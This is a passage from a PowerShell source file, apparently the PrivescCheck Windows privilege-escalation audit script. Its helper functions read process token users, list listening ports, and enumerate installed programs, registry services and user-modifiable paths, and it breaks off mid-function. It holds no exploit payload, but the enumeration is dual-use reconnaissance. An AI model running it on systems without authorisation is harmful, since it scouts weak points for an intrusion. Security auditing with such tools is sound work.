758 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
759 if ($Success) {
760 Write-Verbose "Token handle closed"
761 } else {
762 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
763 }
764
765 } else {
766 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
767 }
768 }
769
770 function Get-UserFromProcess() {
771 <#
772 .SYNOPSIS
773
774 Helper - Gets the user associated to a given process
775
776 Author: @itm4n
777 License: BSD 3-Clause
778
779 .DESCRIPTION
780
781 First it gets a handle to the process identified by the given PID. Then, it uses this handle to
782 access the process token. GetTokenInformation() is then used to query the SID of the user.
783 Finally the SID is converted to a domain name, user name and SID type. All this information is
784 returned in a custom PS object.
785
786 .PARAMETER ProcessId
787
788 The PID of the target process
789
790 .EXAMPLE
791
792 PS C:\> Get-UserFromProcess -ProcessId 6972
793
794 Domain Username Type
795 ------ -------- ----
796 DESKTOP-FEOHNOM lab-user User
797
798 #>
799
800 [CmdletBinding()] param(
801 [Parameter(Mandatory=$true)]
802 [int]
803 $ProcessId
804 )
805
806 function Get-SidTypeName {
807 param(
808 $SidType
809 )
810
811 $SidTypeEnum = @{
812 "User" = "1";
813 "Group" = "2";
814 "Domain" = "3";
815 "Alias" = "4";
816 "WellKnownGroup" = "5";
817 "DeletedAccount" = "6";
818 "Invalid" = "7";
819 "Unknown" = "8";
820 "Computer" = "9";
821 "Label" = "10";
822 "LogonSession" = "11";
823 }
824
825 $SidTypeEnum.GetEnumerator() | ForEach-Object {
826 if ( $_.value -eq $SidType )
827 {
828 $_.name
829 }
830 }
831 }
832
833 # PROCESS_QUERY_INFORMATION = 0x0400
834 $AccessFlags = 0x0400
835 $ProcessHandle = [PrivescCheck.Win32]::OpenProcess($AccessFlags, $False, $ProcessId)
836 #$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
837
838 if (-not ($Null -eq $ProcessHandle)) {
839
840 Write-Verbose "OpenProcess() OK - Handle: $ProcessHandle"
841
842 $TOKEN_QUERY= 0x0008
843 [IntPtr]$TokenHandle = [IntPtr]::Zero
844 $Success = [PrivescCheck.Win32]::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$TokenHandle);
845 #$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
846
847 if ($Success) {
848
849 Write-Verbose "OpenProcessToken() OK - Handle: $ProcessHandle"
850
851 # TOKEN_INFORMATION_CLASS - 1 = TokenUser
852 $TokenUserPtrSize = 0
853 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 1, 0, $Null, [ref]$TokenUserPtrSize)
854 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
855
856 if (($TokenUserPtrSize -gt 0) -and ($LastError -eq 122)) {
857
858 Write-Verbose "GetTokenInformation() OK - Size: $TokenUserPtrSize"
859
860 [IntPtr]$TokenUserPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenUserPtrSize)
861
862 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 1, $TokenUserPtr, $TokenUserPtrSize, [ref]$TokenUserPtrSize)
863 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
864
865 if ($Success) {
866
867 Write-Verbose "GetTokenInformation() OK"
868
869 # Cast unmanaged memory to managed TOKEN_USER struct
870 $TokenUser = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenUserPtr, [type] [PrivescCheck.Win32+TOKEN_USER])
871
872 $SidType = 0
873
874 $UserNameSize = 256
875 $UserName = New-Object -TypeName System.Text.StringBuilder
876 $UserName.EnsureCapacity(256) | Out-Null
877
878 $UserDomainSize = 256
879 $UserDomain = New-Object -TypeName System.Text.StringBuilder
880 $UserDomain.EnsureCapacity(256) | Out-Null
881
882 $Success = [PrivescCheck.Win32]::LookupAccountSid($Null, $TokenUser.User.Sid, $UserName, [ref]$UserNameSize, $UserDomain, [ref]$UserDomainSize, [ref]$SidType)
883 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
884
885 if ($Success) {
886
887 $UserObject = New-Object -TypeName PSObject
888 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $UserDomain.ToString()
889 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $UserName.ToString()
890 $UserObject | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value "$($UserDomain.ToString())\$($UserName.ToString())"
891 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $(Get-SidTypeName $SidType)
892 $UserObject
893
894 } else {
895 Write-Verbose "LookupAccountSid() failed."
896 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
897 }
898 } else {
899 Write-Verbose "GetTokenInformation() failed."
900 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
901 }
902
903 # Cleanup - Free unmanaged memory
904 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenUserPtr)
905 }
906
907 # Cleanup - Close token handle
908 $Success = [PrivescCheck.Win32]::CloseHandle($TokenHandle)
909 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
910 if ($Success) {
911 Write-Verbose "Token handle closed"
912 } else {
913 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
914 }
915 } else {
916 Write-Verbose "Can't open token for process with PID $ProcessId"
917 }
918
919 # Cleanup - Close process handle
920 $Success = [PrivescCheck.Win32]::CloseHandle($ProcessHandle)
921 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
922 if ($Success) {
923 Write-Verbose "Process handle closed"
924 } else {
925 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
926 }
927 } else {
928 Write-Verbose "Can't open process with PID $ProcessId"
929 }
930 }
931
932 function Get-NetworkEndpoints {
933 <#
934 .SYNOPSIS
935
936 Helper - Gets a list of listening ports (TCP/UDP)
937
938 Author: @itm4n
939 License: BSD 3-Clause
940
941 .DESCRIPTION
942
943 It uses the 'GetExtendedTcpTable' and 'GetExtendedUdpTable' functions of the Windows API to
944 list the TCP/UDP endpoints on the local machine. It handles both IPv4 and IPv6. For each
945 entry in the table, a custom PS object is returned, indicating the IP version (IPv4/IPv6),
946 the protocol (TCP/UDP), the local address (e.g.: "0.0.0.0:445"), the state, the PID of the
947 associated process and the name of the process. The name of the process is retrieved through
948 a call to "Get-Process -PID <PID>".
949
950 .EXAMPLE
951
952 PS C:\> Get-NetworkEndpoints | ft
953
954 IP Proto LocalAddress LocalPort Endpoint State PID Name
955 -- ----- ------------ --------- -------- ----- --- ----
956 IPv4 TCP 0.0.0.0 135 0.0.0.0:135 LISTENING 1216 svchost
957 IPv4 TCP 0.0.0.0 445 0.0.0.0:445 LISTENING 4 System
958 IPv4 TCP 0.0.0.0 5040 0.0.0.0:5040 LISTENING 8580 svchost
959 IPv4 TCP 0.0.0.0 49664 0.0.0.0:49664 LISTENING 984 lsass
960 IPv4 TCP 0.0.0.0 49665 0.0.0.0:49665 LISTENING 892 wininit
961 IPv4 TCP 0.0.0.0 49666 0.0.0.0:49666 LISTENING 1852 svchost
962 IPv4 TCP 0.0.0.0 49667 0.0.0.0:49667 LISTENING 1860 svchost
963 IPv4 TCP 0.0.0.0 49668 0.0.0.0:49668 LISTENING 2972 svchost
964 IPv4 TCP 0.0.0.0 49669 0.0.0.0:49669 LISTENING 4480 spoolsv
965 IPv4 TCP 0.0.0.0 49670 0.0.0.0:49670 LISTENING 964 services
966
967 .EXAMPLE
968
969 PS C:\> Get-NetworkEndpoints -UDP -IPv6 | ft
970
971 IP Proto LocalAddress LocalPort Endpoint State PID Name
972 -- ----- ------------ --------- -------- ----- --- ----
973 IPv6 UDP :: 500 [::]:500 N/A 5000 svchost
974 IPv6 UDP :: 3702 [::]:3702 N/A 4128 dasHost
975 IPv6 UDP :: 3702 [::]:3702 N/A 4128 dasHost
976 IPv6 UDP :: 4500 [::]:4500 N/A 5000 svchost
977 IPv6 UDP :: 62212 [::]:62212 N/A 4128 dasHost
978 IPv6 UDP ::1 1900 [::1]:1900 N/A 5860 svchost
979 IPv6 UDP ::1 63168 [::1]:63168 N/A 5860 svchost
980 #>
981
982 [CmdletBinding()] param(
983 [switch]
984 $IPv6 = $False, # IPv4 by default
985 [switch]
986 $UDP = $False # TCP by default
987 )
988
989 $AF_INET6 = 23
990 $AF_INET = 2
991
992 if ($IPv6) {
993 $IpVersion = $AF_INET6
994 } else {
995 $IpVersion = $AF_INET
996 }
997
998 if ($UDP) {
999 $UDP_TABLE_OWNER_PID = 1
1000 [int]$BufSize = 0
1001 $Result = [PrivescCheck.Win32]::GetExtendedUdpTable([IntPtr]::Zero, [ref]$BufSize, $True, $IpVersion, $UDP_TABLE_OWNER_PID, 0)
1002 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1003 } else {
1004 $TCP_TABLE_OWNER_PID_LISTENER = 3
1005 [int]$BufSize = 0
1006 $Result = [PrivescCheck.Win32]::GetExtendedTcpTable([IntPtr]::Zero, [ref]$BufSize, $True, $IpVersion, $TCP_TABLE_OWNER_PID_LISTENER, 0)
1007 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1008 }
1009
1010 if ($Result -eq 122) {
1011
1012 Write-Verbose "GetExtendedProtoTable() OK - Size: $BufSize"
1013
1014 [IntPtr]$TablePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BufSize)
1015
1016 if ($UDP) {
1017 $Result = [PrivescCheck.Win32]::GetExtendedUdpTable($TablePtr, [ref]$BufSize, $True, $IpVersion, $UDP_TABLE_OWNER_PID, 0)
1018 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1019 } else {
1020 $Result = [PrivescCheck.Win32]::GetExtendedTcpTable($TablePtr, [ref]$BufSize, $True, $IpVersion, $TCP_TABLE_OWNER_PID_LISTENER, 0)
1021 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1022 }
1023
1024 if ($Result -eq 0) {
1025
1026 if ($UDP) {
1027 if ($IpVersion -eq $AF_INET) {
1028 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_UDPTABLE_OWNER_PID])
1029 } elseif ($IpVersion -eq $AF_INET6) {
1030 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_UDP6TABLE_OWNER_PID])
1031 }
1032 } else {
1033 if ($IpVersion -eq $AF_INET) {
1034 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_TCPTABLE_OWNER_PID])
1035 } elseif ($IpVersion -eq $AF_INET6) {
1036 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_TCP6TABLE_OWNER_PID])
1037 }
1038 }
1039
1040 $NumEntries = $Table.dwNumEntries
1041
1042 Write-Verbose "GetExtendedProtoTable() OK - NumEntries: $NumEntries"
1043
1044 $Offset = [IntPtr] ($TablePtr.ToInt64() + 4)
1045
1046 For ($i = 0; $i -lt $NumEntries; $i++) {
1047
1048 if ($UDP) {
1049 if ($IpVersion -eq $AF_INET) {
1050 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_UDPROW_OWNER_PID])
1051 $LocalAddr = (New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr)).IPAddressToString
1052 } elseif ($IpVersion -eq $AF_INET6) {
1053 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_UDP6ROW_OWNER_PID])
1054 $LocalAddr = New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr, $TableEntry.localScopeId)
1055 }
1056 } else {
1057 if ($IpVersion -eq $AF_INET) {
1058 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_TCPROW_OWNER_PID])
1059 $LocalAddr = (New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr)).IPAddressToString
1060 } elseif ($IpVersion -eq $AF_INET6) {
1061 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_TCP6ROW_OWNER_PID])
1062 $LocalAddr = New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr, $TableEntry.localScopeId)
1063 }
1064 }
1065
1066 $LocalPort = $TableEntry.localPort[0] * 0x100 + $TableEntry.localPort[1]
1067 $ProcessId = $TableEntry.owningPid
1068
1069 if ($IpVersion -eq $AF_INET) {
1070 $LocalAddress = "$($LocalAddr):$($LocalPort)"
1071 } elseif ($IpVersion -eq $AF_INET6) {
1072 $LocalAddress = "[$($LocalAddr)]:$($LocalPort)"
1073 }
1074
1075 $ListenerObject = New-Object -TypeName PSObject
1076 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $(if ($IpVersion -eq $AF_INET) { "IPv4" } else { "IPv6" } )
1077 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $(if ($UDP) { "UDP" } else { "TCP" } )
1078 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $LocalAddr
1079 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "LocalPort" -Value $LocalPort
1080 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Endpoint" -Value $LocalAddress
1081 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "State" -Value $(if ($UDP) { "N/A" } else { "LISTENING" } )
1082 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $ProcessId
1083 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Name" -Value (Get-Process -PID $ProcessId).ProcessName
1084 $ListenerObject
1085
1086 $Offset = [IntPtr] ($Offset.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($TableEntry))
1087 }
1088
1089 } else {
1090 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1091 }
1092
1093 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TablePtr)
1094
1095 } else {
1096 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1097 }
1098 }
1099
1100 function Get-InstalledPrograms {
1101 <#
1102 .SYNOPSIS
1103
1104 Helper - Enumerates the installed applications
1105
1106 Author: @itm4n
1107 License: BSD 3-Clause
1108
1109 .DESCRIPTION
1110
1111 This looks for applications installed in the common "Program Files" and "Program Files (x86)"
1112 folders. It also enumerates installed applications thanks to the registry by looking for all
1113 the subkeys in "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall".
1114
1115 .PARAMETER Filtered
1116
1117 If True, only non-default applications are returned. Otherwise, all the applications are
1118 returned. The filter is base on a list of known applications which are known to be installed
1119 by default (e.g.: "Windows Defender").
1120
1121 .EXAMPLE
1122
1123 PS C:\> Get-InstalledPrograms -Filtered
1124
1125 Mode LastWriteTime Length Name
1126 ---- ------------- ------ ----
1127 d---- 29/11/2019 10:51 Npcap
1128 d---- 29/11/2019 10:51 Wireshark
1129
1130 #>
1131
1132 [CmdletBinding()] param(
1133 [switch]
1134 $Filtered = $False
1135 )
1136
1137 $IgnoredPrograms = @("Common Files", "Internet Explorer", "ModifiableWindowsApps", "PackageManagement", "Windows Defender", "Windows Defender Advanced Threat Protection", "Windows Mail", "Windows Media Player", "Windows Multimedia Platform", "Windows NT", "Windows Photo Viewer", "Windows Portable Devices", "Windows Security", "WindowsPowerShell", "Microsoft.NET", "Windows Portable Devices", "dotnet", "MSBuild", "Intel", "Reference Assemblies")
1138
1139 $InstalledProgramsResult = New-Object System.Collections.ArrayList
1140
1141 $InstalledPrograms = New-Object System.Collections.ArrayList
1142
1143 $PathProgram32 = Join-Path -Path $env:SystemDrive -ChildPath "Program Files (x86)"
1144 $PathProgram64 = Join-Path -Path $env:SystemDrive -ChildPath "Program Files"
1145
1146 $Items = Get-ChildItem -Path $PathProgram32,$PathProgram64 -ErrorAction SilentlyContinue
1147 if ($Items) {
1148 [void]$InstalledPrograms.AddRange($Items)
1149 }
1150
1151 $RegInstalledPrograms = Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
1152 $RegInstalledPrograms6432 = Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" -ErrorAction SilentlyContinue
1153 if ($RegInstalledPrograms6432) { $RegInstalledPrograms += $RegInstalledPrograms6432 }
1154 ForEach ($InstalledProgram in $RegInstalledPrograms) {
1155 $InstallLocation = [System.Environment]::ExpandEnvironmentVariables($InstalledProgram.GetValue("InstallLocation"))
1156 if ($InstallLocation) {
1157 if (Test-Path -Path $InstallLocation -ErrorAction SilentlyContinue) {
1158 if ($InstallLocation[$InstallLocation.Length - 1] -eq "\") {
1159 $InstallLocation = $InstallLocation.SubString(0, $InstallLocation.Length - 1)
1160 }
1161 $FileObject = Get-Item -Path $InstallLocation -ErrorAction SilentlyContinue -ErrorVariable GetItemError
1162 if ($GetItemError) {
1163 continue
1164 }
1165 if ($FileObject -is [System.IO.DirectoryInfo]) {
1166 continue
1167 }
1168 [void]$InstalledPrograms.Add([object]$FileObject)
1169 }
1170 }
1171 }
1172
1173 $PathListResult = New-Object System.Collections.ArrayList
1174 ForEach ($InstalledProgram in $InstalledPrograms) {
1175 if (-not ($PathListResult -contains $InstalledProgram.FullName)) {
1176 [void]$InstalledProgramsResult.Add($InstalledProgram)
1177 [void]$PathListResult.Add($InstalledProgram.FullName)
1178 }
1179 }
1180
1181 if ($Filtered) {
1182 $InstalledProgramsResultFiltered = New-Object -TypeName System.Collections.ArrayList
1183 ForEach ($InstalledProgram in $InstalledProgramsResult) {
1184 if (-Not ($IgnoredPrograms -contains $InstalledProgram.Name)) {
1185 [void]$InstalledProgramsResultFiltered.Add($InstalledProgram)
1186 }
1187 }
1188 $InstalledProgramsResultFiltered
1189 } else {
1190 $InstalledProgramsResult
1191 }
1192 }
1193
1194 function Get-ServiceFromRegistry {
1195
1196 [CmdletBinding()] param(
1197 [string]$Name
1198 )
1199
1200 $ServicesRegPath = "HKLM\SYSTEM\CurrentControlSet\Services"
1201 $ServiceRegPath = Join-Path -Path $ServicesRegPath -ChildPath $Name
1202
1203 $ServiceProperties = Get-ItemProperty -Path "Registry::$ServiceRegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1204 if (-not $GetItemPropertyError) {
1205
1206 $DisplayName = [System.Environment]::ExpandEnvironmentVariables($ServiceProperties.DisplayName)
1207
1208 $ServiceItem = New-Object -TypeName PSObject
1209 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $ServiceProperties.PSChildName
1210 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value $DisplayName
1211 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $ServiceProperties.ObjectName
1212 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $ServiceProperties.ImagePath
1213 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "StartMode" -Value $(Convert-ServiceStartModeToString -StartMode $ServiceProperties.Start)
1214 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $(Convert-ServiceTypeToString -ServiceType $Properties.Type)
1215 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryKey" -Value $ServiceProperties.Name
1216 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryPath" -Value $ServiceProperties.PSPath
1217 $ServiceItem
1218 }
1219 }
1220
1221 function Get-ServiceList {
1222 <#
1223 .SYNOPSIS
1224
1225 Helper - Enumerates services (based on the registry)
1226
1227 Author: @itm4n
1228 License: BSD 3-Clause
1229
1230 .DESCRIPTION
1231
1232 This uses the registry to enumerate the services by looking for the subkeys of
1233 "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services". This allows any user to get information
1234 about all the services. So, even if non-privileged users can't access the details of a service
1235 through the Service Control Manager, they can do so simply by accessing the registry.
1236
1237 .PARAMETER FilterLevel
1238
1239 This parameter can be used to filter out the result returned by the function based on the
1240 following criteria:
1241 FilterLevel = 0 - No filtering
1242 FilterLevel = 1 - Exclude 'Services with empty ImagePath'
1243 FilterLevel = 2 - Exclude 'Services with empty ImagePath' + 'Drivers'
1244 FilterLevel = 3 - Exclude 'Services with empty ImagePath' + 'Drivers' + 'Known services'
1245
1246 .EXAMPLE
1247
1248 PS C:\> Get-ServiceList -FilterLevel 3
1249
1250 Name : VMTools
1251 DisplayName : VMware Tools
1252 User : LocalSystem
1253 ImagePath : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
1254 StartMode : Automatic
1255 Type : Win32OwnProcess
1256 RegistryKey : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VMTools
1257 RegistryPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VMTools
1258
1259 .NOTES
1260
1261 A service "Type" can be one of the following:
1262 KernelDriver = 1
1263 FileSystemDriver = 2
1264 Adapter = 4
1265 RecognizerDriver = 8
1266 Win32OwnProcess = 16
1267 Win32ShareProcess = 32
1268 InteractiveProcess = 256
1269
1270 #>
1271
1272 [CmdletBinding()] param(
1273 [Parameter(Mandatory=$true)]
1274 [ValidateSet(0,1,2,3)]
1275 [int]
1276 $FilterLevel
1277 )
1278
1279 if ($CachedServiceList.Count -eq 0) {
1280
1281 # If the cached service list hasn't been initialized yet, enumerate all services and
1282 # populate the cache.
1283
1284 $ServicesRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"
1285 $RegAllServices = Get-ChildItem -Path $ServicesRegPath -ErrorAction SilentlyContinue
1286
1287 ForEach ($RegService in $RegAllServices) {
1288
1289 $Properties = Get-ItemProperty -Path $RegService.PSPath -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1290 if ($GetItemPropertyError) {
1291 # If an error occurred, skip the current item
1292 continue
1293 }
1294
1295 $DisplayName = [System.Environment]::ExpandEnvironmentVariables($Properties.DisplayName)
1296
1297 $ServiceItem = New-Object -TypeName PSObject
1298 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Properties.PSChildName
1299 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value $DisplayName
1300 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Properties.ObjectName
1301 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Properties.ImagePath
1302 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "StartMode" -Value $(Convert-ServiceStartModeToString -StartMode $Properties.Start)
1303 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $(Convert-ServiceTypeToString -ServiceType $Properties.Type)
1304 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryKey" -Value $RegService.Name
1305 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryPath" -Value $RegService.PSPath
1306
1307 [void] $CachedServiceList.Add($ServiceItem)
1308 }
1309 }
1310
1311 ForEach ($ServiceItem in $CachedServiceList) {
1312
1313 # FilterLevel = 0 - Add the service to the list and go to the next one
1314 if ($FilterLevel -eq 0) {
1315 $ServiceItem
1316 continue
1317 }
1318
1319 if ($ServiceItem.ImagePath -and (-not ($ServiceItem.ImagePath.trim() -eq ''))) {
1320
1321 # FilterLevel = 1 - Add the service to the list of its ImagePath is not empty
1322 if ($FilterLevel -le 1) {
1323 $ServiceItem
1324 continue
1325 }
1326
1327 if (@("Win32OwnProcess", "Win32ShareProcess", "InteractiveProcess") -contains $ServiceItem.Type) {
1328
1329 # FilterLevel = 2 - Add the service to the list if it's not a driver
1330 if ($FilterLevel -le 2) {
1331 $ServiceItem
1332 continue
1333 }
1334
1335 if (-not (Test-IsKnownService -Service $ServiceItem)) {
1336
1337 # FilterLevel = 3 - Add the service if it's not a built-in Windows service
1338 if ($FilterLevel -le 3) {
1339 $ServiceItem
1340 continue
1341 }
1342 }
1343 }
1344 }
1345 }
1346 }
1347
1348 function Get-ModifiablePath {
1349 <#
1350 .SYNOPSIS
1351
1352 Parses a passed string containing multiple possible file/folder paths and returns
1353 the file paths where the current user has modification rights.
1354
1355 Author: @harmj0y
1356 License: BSD 3-Clause
1357
1358 .DESCRIPTION
1359
1360 Takes a complex path specification of an initial file/folder path with possible
1361 configuration files, 'tokenizes' the string in a number of possible ways, and
1362 enumerates the ACLs for each path that currently exists on the system. Any path that
1363 the current user has modification rights on is returned in a custom object that contains
1364 the modifiable path, associated permission set, and the IdentityReference with the specified
1365 rights. The SID of the current user and any group he/she are a part of are used as the
1366 comparison set against the parsed path DACLs.
1367
1368 @itm4n: I made some small changes to the original code in order to prevent false positives as
1369 much as possible.
1370
1371 .PARAMETER Path
1372
1373 The string path to parse for modifiable files. Required
1374
1375 .PARAMETER LiteralPaths
1376
1377 Switch. Treat all paths as literal (i.e. don't do 'tokenization').
1378
1379 .EXAMPLE
1380
1381 PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
1382
1383 Path Permissions IdentityReference
1384 ---- ----------- -----------------
1385 C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1386 C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1387
1388 .EXAMPLE
1389
1390 PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
1391
1392 Path Permissions IdentityReference
1393 ---- ----------- -----------------
1394 C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1395 C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1396 ...
1397 #>
1398
1399 [CmdletBinding()]
1400 Param(
1401 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1402 [Alias('FullName')]
1403 [String[]]
1404 $Path,
1405
1406 [Switch]
1407 $LiteralPaths
1408 )
1409
1410 BEGIN {
1411
1412 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1413 $AccessMask = @{
1414 [uint32]'0x80000000' = 'GenericRead'
1415 [uint32]'0x40000000' = 'GenericWrite'
1416 [uint32]'0x20000000' = 'GenericExecute'
1417 [uint32]'0x10000000' = 'GenericAll'
1418 [uint32]'0x02000000' = 'MaximumAllowed'
1419 [uint32]'0x01000000' = 'AccessSystemSecurity'
1420 [uint32]'0x00100000' = 'Synchronize'
1421 [uint32]'0x00080000' = 'WriteOwner'
1422 [uint32]'0x00040000' = 'WriteDAC'
1423 [uint32]'0x00020000' = 'ReadControl'
1424 [uint32]'0x00010000' = 'Delete'
1425 [uint32]'0x00000100' = 'WriteAttributes'
1426 [uint32]'0x00000080' = 'ReadAttributes'
1427 [uint32]'0x00000040' = 'DeleteChild'
1428 [uint32]'0x00000020' = 'Execute/Traverse'
1429 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1430 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1431 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1432 [uint32]'0x00000002' = 'WriteData/AddFile'
1433 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1434 }
1435
1436 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1437 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1438 $CurrentUserSids += $UserIdentity.User.Value
1439
1440 $TranslatedIdentityReferences = @{}
1441 }
1442
1443 PROCESS {
1444
1445 ForEach($TargetPath in $Path) {
1446
1447 $CandidatePaths = @()
1448
1449 # possible separator character combinations
1450 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
1451
1452 if($PSBoundParameters['LiteralPaths']) {
1453
1454 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
1455
1456 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
1457 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
1458 }
1459 else {
1460 # if the path doesn't exist, check if the parent folder allows for modification
1461 try {
1462 $ParentPath = Split-Path $TempPath -Parent
1463 if($ParentPath -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
1464 $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
1465 }
1466 }
1467 catch {
1468 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
1469 }
1470 }
1471 }
1472 else {
1473 $TargetPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)).Trim()
1474
1475 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
1476 $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
1477
1478 if (-not ($_ -match "^[A-Z]:`$")) {
1479
1480 if($SeparationCharacterSet -notmatch ' ') {
1481
1482 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
1483
1484 # if the path is actually an option like '/svc', skip it
1485 # it will prevent a lot of false positives but it might also skip vulnerable paths in some particular cases
1486 # though, it's more common to see options like '/svc' than file paths like '/ProgramData/something' in Windows
1487 if ((-not ($TempPath -Like "/*")) -and (-not ($TempPath -match "^[A-Z]:`$"))) {
1488
1489 if($TempPath -and ($TempPath -ne '')) {
1490 if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
1491 # if the path exists, resolve it and add it to the candidate list
